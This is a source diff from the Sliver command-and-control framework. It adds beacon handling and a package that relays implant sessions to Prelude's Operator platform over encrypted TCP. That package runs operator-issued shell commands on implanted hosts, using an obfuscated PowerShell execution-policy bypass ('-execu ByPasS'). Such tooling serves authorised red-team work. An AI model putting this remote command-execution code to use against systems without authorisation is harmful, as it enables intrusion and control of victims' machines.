|
||||
return nil
|
||||
}
|
||||
return s.Session
|
||||
return s.session
|
||||
}
|
||||
|
||||
// GetSession - Same as GetSession() but doesn't print a warning
|
||||
func (s *ActiveTarget) GetSession() *clientpb.Session {
|
||||
return s.session
|
||||
}
|
||||
|
||||
// GetBeaconInteractive - Get beacon interactive the active session
|
||||
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
|
||||
if s.beacon == nil {
|
||||
fmt.Printf(Warn + "Please select a beacon via `use`\n")
|
||||
return nil
|
||||
}
|
||||
return s.beacon
|
||||
}
|
||||
|
||||
// GetBeacon - Same as GetBeacon() but doesn't print a warning
|
||||
func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
|
||||
return s.beacon
|
||||
}
|
||||
|
||||
// IsSession - Is the current target a session?
|
||||
func (s *ActiveTarget) IsSession() bool {
|
||||
if s.session != nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// AddObserver - Observers to notify when the active session changes
|
||||
func (s *ActiveSession) AddObserver(observer Observer) int {
|
||||
func (s *ActiveTarget) AddObserver(observer Observer) int {
|
||||
s.observerID++
|
||||
s.observers[s.observerID] = observer
|
||||
return s.observerID
|
||||
}
|
||||
|
||||
func (s *ActiveSession) RemoveObserver(observerID int) {
|
||||
func (s *ActiveTarget) RemoveObserver(observerID int) {
|
||||
delete(s.observers, observerID)
|
||||
}
|
||||
|
||||
func (s *ActiveSession) Request(ctx *grumble.Context) *commonpb.Request {
|
||||
if s.Session == nil {
|
||||
func (s *ActiveTarget) Request(ctx *grumble.Context) *commonpb.Request {
|
||||
if s.session == nil && s.beacon == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int(time.Second) * ctx.Flags.Int("timeout")
|
||||
return &commonpb.Request{
|
||||
SessionID: s.Session.ID,
|
||||
Timeout: int64(timeout),
|
||||
req := &commonpb.Request{}
|
||||
req.Timeout = int64(timeout)
|
||||
if s.session != nil {
|
||||
req.Async = false
|
||||
req.SessionID = s.session.ID
|
||||
}
|
||||
if s.beacon != nil {
|
||||
req.Async = true
|
||||
req.BeaconID = s.beacon.ID
|
||||
}
|
||||
return req
|
||||
}
|
||||
|
||||
// Set - Change the active session
|
||||
func (s *ActiveSession) Set(session *clientpb.Session) {
|
||||
s.Session = session
|
||||
for _, observer := range s.observers {
|
||||
observer(s.Session)
|
||||
func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
|
||||
if session != nil && beacon != nil {
|
||||
panic("cannot set both an active beacon and an active session")
|
||||
}
|
||||
if session != nil {
|
||||
s.session = session
|
||||
for _, observer := range s.observers {
|
||||
observer(s.session, s.beacon)
|
||||
}
|
||||
} else if beacon != nil {
|
||||
s.beacon = beacon
|
||||
for _, observer := range s.observers {
|
||||
observer(s.session, s.beacon)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Background - Background the active session
|
||||
func (s *ActiveSession) Background() {
|
||||
s.Session = nil
|
||||
func (s *ActiveTarget) Background() {
|
||||
s.session = nil
|
||||
s.beacon = nil
|
||||
for _, observer := range s.observers {
|
||||
observer(nil)
|
||||
observer(nil, nil)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -82,13 +82,19 @@ const (
|
||||
|
||||
// LootRemoved
|
||||
LootRemovedEvent = "loot-removed"
|
||||
|
||||
// BeaconRegisteredEvent - First connection from a new beacon
|
||||
BeaconRegisteredEvent = "beacon-registered"
|
||||
|
||||
// BeaconTaskResult - Beacon task completed with a result
|
||||
BeaconTaskResultEvent = "beacon-taskresult"
|
||||
)
|
||||
|
||||
// Commands
|
||||
const (
|
||||
NewPlayerStr = "new-player"
|
||||
PlayersStr = "players"
|
||||
KickPlayerStr = "kick-player"
|
||||
OperatorsStr = "operators"
|
||||
NewOperatorStr = "new-operator"
|
||||
KickStr = "kick"
|
||||
MultiplayerModeStr = "multiplayer"
|
||||
|
||||
SessionsStr = "sessions"
|
||||
@@ -97,12 +103,15 @@ const (
|
||||
UseStr = "use"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
|
||||
TasksStr = "tasks"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerStr = "info"
|
||||
StagerStr = "stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
SettingsStr = "settings"
|
||||
|
||||
// Generic
|
||||
|
||||
@@ -116,6 +125,7 @@ const (
|
||||
SaveStr = "save"
|
||||
ReloadStr = "reload"
|
||||
LoadStr = "load"
|
||||
TablesStr = "tables"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -126,7 +136,7 @@ const (
|
||||
RenameStr = "rename"
|
||||
|
||||
ImplantBuildsStr = "implants"
|
||||
ListCanariesStr = "canaries"
|
||||
CanariesStr = "canaries"
|
||||
|
||||
JobsStr = "jobs"
|
||||
MtlsStr = "mtls"
|
||||
@@ -212,7 +222,9 @@ const (
|
||||
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
@@ -0,0 +1,132 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
type AgentSession struct {
|
||||
Conn *net.Conn
|
||||
Session *clientpb.Session
|
||||
RPC rpcpb.SliverRPCClient
|
||||
Beacon Beacon
|
||||
Config AgentConfig
|
||||
}
|
||||
|
||||
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
|
||||
return &AgentSession{
|
||||
Conn: c,
|
||||
Session: s,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
Beacon: b,
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) ReceiveLoop() {
|
||||
for {
|
||||
err := a.send()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
message := strings.TrimSpace(scanner.Text())
|
||||
err = a.respond(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) send() error {
|
||||
data, err := json.Marshal(a.Beacon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
|
||||
sendBuffer := make([]byte, 1024)
|
||||
for {
|
||||
_, err := dataBuff.Read(sendBuffer)
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
|
||||
return err
|
||||
}
|
||||
time.Sleep(time.Duration(a.Beacon.Sleep))
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) respond(message string) error {
|
||||
var tempBeacon Beacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
a.Beacon.Links = a.Beacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
a.refreshBeacon(&a.Config)
|
||||
a.send()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
//TODO handle link.payloadPath
|
||||
payloadPath := ""
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
a.Beacon.Links = append(a.Beacon.Links, link)
|
||||
a.Config.EndInstruction(link)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Session),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.Beacon.Sleep = conf.Sleep
|
||||
a.Beacon.Range = conf.Range
|
||||
a.Beacon.Pwd = pwd
|
||||
a.Beacon.Target = conf.Address
|
||||
a.Beacon.Executing = conf.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(defaultTimeout)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "config":
|
||||
// return updateConfiguration(task[1], agent)
|
||||
// case "shell":
|
||||
// return pty.SpawnShell(task[1], agent)
|
||||
case "exit":
|
||||
return shutdown(agent, rpc, session)
|
||||
default:
|
||||
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agent, rpc, session)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
}
|
||||
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
|
||||
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
|
||||
}
|
||||
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, 0, 0
|
||||
}
|
||||
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/C", "/S"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "ByPasS", "-C"}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func splitMessage(message string, splitRune rune) []string {
|
||||
quoted := false
|
||||
values := strings.FieldsFunc(message, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == splitRune
|
||||
})
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), 1, 0
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"sort"
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
Name string
|
||||
AESKey string
|
||||
Range string
|
||||
Contact string
|
||||
Address string
|
||||
Useragent string
|
||||
Sleep int
|
||||
KillSleep int
|
||||
CommandJitter int
|
||||
CommandTimeout int
|
||||
Pid int
|
||||
Proxy string
|
||||
Debug bool
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type Beacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
Location string
|
||||
Platform string
|
||||
Executors []string
|
||||
Range string
|
||||
Sleep int
|
||||
Pwd string
|
||||
Executing string
|
||||
Links []Instruction
|
||||
}
|
||||
|
||||
type Instruction struct {
|
||||
ID string `json:"ID"`
|
||||
Executor string `json:"Executor"`
|
||||
Payload string `json:"Payload"`
|
||||
Request string `json:"Request"`
|
||||
Response string
|
||||
Status int
|
||||
Pid int
|
||||
}
|
||||
|
||||
func (c *AgentConfig) BuildExecutingHash() string {
|
||||
if count := len(c.Executing); count > 0 {
|
||||
ids := make([]string, count)
|
||||
for id := range c.Executing {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
h := md5.New()
|
||||
for _, s := range ids {
|
||||
io.WriteString(h, s)
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
|
||||
if _, ex := c.Executing[instruction.ID]; ex {
|
||||
return false
|
||||
}
|
||||
c.Executing[instruction.ID] = instruction
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
|
||||
for _, i := range instructions {
|
||||
if c.StartInstruction(i) {
|
||||
ret = append(ret, i)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *AgentConfig) EndInstruction(instruction Instruction) {
|
||||
delete(c.Executing, instruction.ID)
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
RPC rpcpb.SliverRPCClient
|
||||
AESKey string
|
||||
}
|
||||
|
||||
type PreludeSessionMapper struct {
|
||||
sessions []*AgentSession
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
|
||||
if SessionMapper == nil {
|
||||
SessionMapper = &PreludeSessionMapper{
|
||||
sessions: make([]*AgentSession, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return SessionMapper
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(s),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embeded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: s.Hostname,
|
||||
Location: s.Filename,
|
||||
Platform: s.OS,
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(s.OS, s.Arch),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: 3,
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: sessName,
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Executing: make(map[string]Instruction),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
p.Lock()
|
||||
p.sessions = append(p.sessions, agentSession)
|
||||
p.Unlock()
|
||||
go agentSession.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
p.Lock()
|
||||
for _, agentSession := range p.sessions {
|
||||
if agentSession.Session.ID == s.ID {
|
||||
if agentSession.Conn != nil {
|
||||
err = (*agentSession.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
}
|
||||
}
|
||||
p.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package util
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
var EncryptionKey *string
|
||||
|
||||
//Encrypt the results
|
||||
func Encrypt(bites []byte) []byte {
|
||||
plainText, err := pad(bites, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
block, _ := aes.NewCipher([]byte(*EncryptionKey))
|
||||
cipherText := make([]byte, aes.BlockSize+len(plainText))
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
|
||||
return []byte(fmt.Sprintf("%x", cipherText))
|
||||
}
|
||||
|
||||
//Decrypt a command
|
||||
func Decrypt(text string) string {
|
||||
cipherText, _ := hex.DecodeString(text)
|
||||
block, err := aes.NewCipher([]byte(*EncryptionKey))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
cipherText = cipherText[aes.BlockSize:]
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText, cipherText)
|
||||
cipherText, _ = unpad(cipherText, aes.BlockSize)
|
||||
return string(cipherText)
|
||||
}
|
||||
|
||||
func pad(buf []byte, size int) ([]byte, error) {
|
||||
bufLen := len(buf)
|
||||
padLen := size - bufLen%size
|
||||
padded := make([]byte, bufLen+padLen)
|
||||
copy(padded, buf)
|
||||
for i := 0; i < padLen; i++ {
|
||||
padded[bufLen+i] = byte(padLen)
|
||||
}
|
||||
return padded, nil
|
||||
}
|
||||
|
||||
func unpad(padded []byte, size int) ([]byte, error) {
|
||||
if len(padded)%size != 0 {
|
||||
return nil, errors.New("pkcs7: Padded value wasn't in correct size")
|
||||
}
|
||||
bufLen := len(padded) - int(padded[len(padded)-1])
|
||||
buf := make([]byte, bufLen)
|
||||
copy(buf, padded[:bufLen])
|
||||
return buf, nil
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package util
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
"executor": {"python", "pwsh", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
// if checkIfExecutorAvailable(platformValue["file"][i]) {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
executors = append([]string{"keyword"}, executors...)
|
||||
return executors
|
||||
}
|
||||
@@ -19,6 +19,7 @@ package transport
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
@@ -51,12 +52,13 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
}
|
||||
creds := credentials.NewTLS(tlsConfig)
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTimeout(defaultTimeout),
|
||||
grpc.WithTransportCredentials(creds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -81,17 +83,16 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
|
||||
RootCAs: caCertPool,
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
},
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
roots := x509.NewCertPool()
|
||||
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.0"
|
||||
GARBLE_VER="1.17.1"
|
||||
COFF_LOADER_VER="1.0.5"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
+16
-1
@@ -32,7 +32,6 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
@@ -83,6 +82,22 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server ./server/generate -timeout 6h ; then
|
||||
:
|
||||
|
||||
@@ -35,6 +35,7 @@ require (
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/spf13/cobra v1.1.1
|
||||
@@ -53,7 +54,7 @@ require (
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.20.6
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
@@ -63,6 +64,7 @@ require (
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
@@ -83,7 +85,7 @@ require (
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.1 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
|
||||
@@ -64,6 +64,8 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
@@ -276,6 +278,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
